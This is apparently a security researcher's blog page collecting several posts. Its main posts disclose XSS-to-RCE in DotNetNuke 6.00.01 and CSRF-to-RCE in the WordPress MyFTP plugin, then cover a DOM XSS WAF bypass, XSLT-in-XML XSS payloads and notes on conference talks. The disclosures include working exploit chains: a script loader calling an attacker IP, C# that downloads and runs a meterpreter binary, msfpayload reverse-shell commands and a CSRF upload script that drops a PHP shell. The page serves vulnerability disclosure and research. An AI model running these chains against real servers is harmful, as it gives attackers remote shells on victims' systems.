Server Shells from Web Clientside Attacks

One kind of attack that seems to be popular these days is the “broad impact” attack. These are the vulnerabilities that include “CSRF logout on Facebook” or “Self XSS using drag and drop on code.google.com”. The impact of these attacks is sometimes limited, but that’s made up for in a big way because there are just so many people that use Google and Facebook.

This post is kind of the opposite of that.*

Remember all those bug bounties and bulletins that security researchers have got for targeting a custom support internal web application and using that to compromise everything? Oh yeah, most companies probably don’t want to encourage that sort of delinquent behavior. And although these types of attacks are not “broad impact”, the criticality of these bugs can be freaking scary.

DotNetNuke XSS to RCE

One example of this can be shown by using one of the bugs I found with DotNetNuke.

This was kind of interesting. It turns out on a default install anyone can send “messages” which are kind of like a DotNetNuke version of email. You can get script into these messages, and with script running in an administrator account you get RCE. Pretty much every piece of this is straightforward.

  • The XSS is trigerred with HTML editable pages via <img src=”http://asdfasdf/blah&#8221; alt=”” />
  • The host user has a lot of power, and can do things like upload arbitrary aspx pages and execute them (as shown in the demo) or execute arbitrary SQL

Here are the repro steps for dotnetnuke 6.00.01, which was the current version when I found this:

  • Create metasploit connectback
  • Create metasploit listener
  • Start shell of the future… or do several requests and scrape VIEWSTATE which is the csrf mitigation. We can’t simply steal the session cookie since it’s set to httponly.
  • Get XSS in the host account. The basic XSS is simply an img onerror. The payload for shell of the future looks like this, but before sending it needs to be HTML encoded:
 
javascript:eval("s=document.createElement('script');
s.src='http://192.168.154.137:8000/e1.js';
document.getElementsByTagName('head')[0].appendChild(s)") 
  • With the XSS shell or dynamically with Javascript if you have time, enable aspx uploads. Note that at this point SQL injection is also possible.
  • Create an RCE C# script to execute meterpreter and upload to the server.

<script type="text/javascript">// <![CDATA[
 protected override void OnLoad(EventArgs e)
 {
 System.Net.WebClient client = new System.Net.WebClient();
 client.DownloadFile(@"https://webstersprodigy.net/manuploads/test92.txt", @"C:\windows\TEMP\test92.txt");
 System.Diagnostics.Process p = new System.Diagnostics.Process();
 p.StartInfo.UseShellExecute = false;
 p.StartInfo.RedirectStandardOutput = true;
 p.StartInfo.FileName = @"C:\windows\TEMP\test92.txt";
 p.Start();
Response.Write("Success");
 }
// ]]></script>

  • Finally, force browse to the page for a shell.

They fixed this with the bulletins below, although not sure I agree with the low/moderate rating since it’s pretty much a guaranteed shell as long as admins read their dotnetnuke messages.

http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.60.aspx

http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.62.aspx

WordPress MyFTP plugin CSRF to RCE

Have you ever used a piece of software, and you just know it’s hackable? That’s how I’ve been using MyFTP on this very site for a while. It’s an incredibly useful tool. It looks like it’s not super popular, but apparently the most recent version has had over 28,000 downloads at the time of this writing.

So I finally decided to look at this. It turns out everything is vulnerable to CSRF. There are several nasty exploits here. One of the easiest is being able to delete any file with the right permissions. Another easy one is being able to edit any file with the right permissions. One that’s a bit less straightforward is the file upload feature.

In this demo attack, I opted to try the file upload route using this technique I’ve been wanting to try for a while now: http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html. The idea is that you use CORs to send the cross domain request, and you have more control over things like headers and multi part data. There’s the origin header sent, but who cares because the application ignores it.

Here are the repro steps:

1. Create Stage 1

It’s super cool that metasploit has a php meterpreter payload now. The raw php looks something like this:

./msfpayload php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > bad.php

But since I’m uploading this using Javascript in step 2, I want a more JS-friendly format.

./msfpayload php/meterpreter/reverse_tcp LHOST=71.197.218.6  LPORT=443 -t pl | tr “.” “+” > js_php

2. Stage 2 Listener

use exploit/multi/handlerset PAYLOAD php/meterpreter/reverse_tcpset LHOST x.x.x.xexploit

3. Create a malicious page that uploads the PHP file using the CSRF bug

Using the CORs techniques mentioned above, the CSRF script will look similar to the following:

<script type="text/javascript">// <![CDATA[
function fileUpload(url, fileData, fileName) {
 var fileSize = fileData.length,
 boundary = "xxxxxxxxx",
 xhr = new XMLHttpRequest();
 xhr.withCredentials = "true";

 xhr.open("POST", url, true);
 // simulate a file MIME POST request.
 xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
 xhr.setRequestHeader("Content-Length", fileSize);

 var body = "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="desiredLocation"' + 'rnrn';
 body += '/var/www/public_htmlrn';
 body += "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="upfile"; filename="' + fileName + '"rn';
 body += 'Content-Type: text/plainrnrn';
 body += fileData + "rn";
 body += "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="upload"rnrn';
 body += 'Upload To Current Pathrn';
 body += "--" + boundary + "--";

 xhr.send(body);
 return true;
}

//encoded stage 1 payload in JS friendly form... from step 0
var data =
"x3cx3fx70x68x70x0ax0ax65x72x72x6fx72x5f" +
"x72x65x70x6fx72x74x69x6ex67x28x30x29x3bx0a" +
...

fileUpload('https://webstersprodigy.net/wp-admin/options-general.php?page=MyFtp&dir=/var/www/public_html/', data, 'bwahaha.php');
// ]]></script>

4. Profit

Now that the page is uploaded, visit it, and get a shell.

I reported this bug to wordpress, who has a great security team full of smart responsive people, and this was their response. This seems like the right course of action to me:

“The security team reviewed the report and based on the nature of the vulnerability, the current state of the plugin (unmaintained, not updated), and the inability to contact the author, they have decided the best course of action is to just remove it from the plugin directory. This also means that it will not be returned in any API results, etc making it impossible to install from the built-in plugin installer in the WordPress dashboard.”

It would be cool to notify the people who have the plugin installed, but I have no idea if WordPress would even have that kind of information.

Conclusions

So lets look at the nature of these types of attacks. When you have a powerful account/application, clientside attacks may be tougher to exploit realistically (it’s tougher to get a specific admin to visit your evil website than just somebody random who happens to be logged into Facebook) but there can also be a bigger payoff.

As consumers, if you use a powerful feature then I think it’s smart to run these types of things in their own incognito session or environment so clientside attacks like these are harder to pull off. As security people trying to make the web a safer place, I think this is a bit of a blind spot. We spend a lot of time and money making our car bullet proof and then leave the doors unlocked.

*Not to diminish the “broad impact” bugs. Those are awesome too.

DOM XSS Behind a WAF

Here’s the scenario, which seems obvious at first but took some time for me to figure out. It may be because I don’t find that many DOM XSS… they’re kinda tough to find. Anyway, say you receive the following response.

HTTP/1.1 200 OK
Content-Type: text/html

<html>
<script>
function funcURL() {
   var mDiv = document.getElementById('mid');
   mDiv.innerHTML = document.URL;
}
window.onload = funcURL
</script>
<body>
<div id="mid"></div>
</body></html>

An exploit doesn’t get much more straightforward than that. But here’s the catch: the URL is behind a pretty stringent WAF, where input such as <, >, and ‘ is completely rejected. Is this still exploitable? Think about this for a second (the hint is that it definitely is exploitable).

Ok. Done? Have a working exploit?

My first thought was to abuse the fact that Content-type is not set to UTF-8. I had no luck with this.

Then I had a duh moment. # are part of document.URL, but NOT sent to the server, so the waf never sees this. So that’s the exploit. But still, innerhtml defers execution, so that needs to be addressed as well – not quite as simple as <script>alert(1)</script> although close. The final URL works:

https://madeupbadURL.html?aaab#<img/src=’b’/onerror=alert(1)&gt;

Serving Back XML for XSS

In our “New ways I’m going to hack your web app” talk, one vulnerability example we had was with wordpress. There were three pieces to the attack 1) uploading an xsl file, 2) uploading an XML file that applied the XSL transform and 3) tossing the cookie up to execute script cross domain. Nicolas Grégoire watched our presentation and sent me an email wondering why we didn’t just use an XSLT stylesheet embedded in the XML. This is the same technique Chris Evans uses here: http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html. I didn’t know this was even possible, but it turns out it makes step#1 unnecessary.

In our original example, we had this xsl file saved as a jpg:


<?xml version="1.0" encoding="utf-8" ?>
 <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 <h3>got it!!!!!</h3>
 <script>alert(1)</script>
 </xsl:template>
 </xsl:stylesheet>

And we had the xml that applied it as a wxr file.


<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="./badxsl.jpg"?>
<document>
 <x name="x">x</x>
 <abc>
 <def>def</def>
 </abc>
</document>

These can be combined the same way Chris Evans does it. So for script execution in just the wxr file, the end result looks like this:


<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>
<!DOCTYPE responses[
<!ATTLIST xsl:stylesheet
id ID #REQUIRED
>
]>
<document>
<node />
<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 <h3>got it!!!!!</h3>
 <script>alert(1)</script>
 </xsl:template>
</xsl:stylesheet>
</document>

This fires in IE9:

 

This doesn’t work in Firefox or Chrome. But if an app is serving back xml then you always have other tricks, like trying to get the browser to render the xml as xhtml. Like the following works in Chrome whatever and Firefox 9, but not IE.

<?xml version="1.0"?>
<foo>
<html xmlns:html='http://www.w3.org/1999/xhtml'>
 <html:script>alert(1);</html:script>
</html>
</foo>

Is it already 2012?

I thought about starting a new blog, it’s been that long.

Giving our talk, “New ways I’m going to hack your web app” at Bluehat 2011 was awesome. I practiced so much that everything just went well. Unfortunately I managed to forget a ton of it for 28c3/Blackhat and I spoke way too fast (I always do the same thing when I get nervous and don’t think about it).  Not to mention all my favorite content was needlessly censored. That sucks, but hopefully as I talk more things will get better.

I hate watching that, by the way. The cool thing is there were a lot of people, I think the room holds about 1000. So that was scary, but also a great experience.

Here is the whitepaper:
https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&resid=3AC0418833532DFF!249&parid=3AC0418833532DFF!264

and the slides:
https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&resid=3AC0418833532DFF!250&parid=3AC0418833532DFF!264

Toorcon 2010 Talk

My over caffeinated self somehow managed to stumble through the talk at toorcon. I’m self critical over the whole thing, but still overall a great experience, and I’m glad I did it.

I was totally nervous. This was my first ‘con’ and the room was packed (people standing at the wall), I spotted relatively famous hackers in the audience, etc. I needed more beer!

Hopefully the next one I’ll relax, slow down, not use filler words, etc :)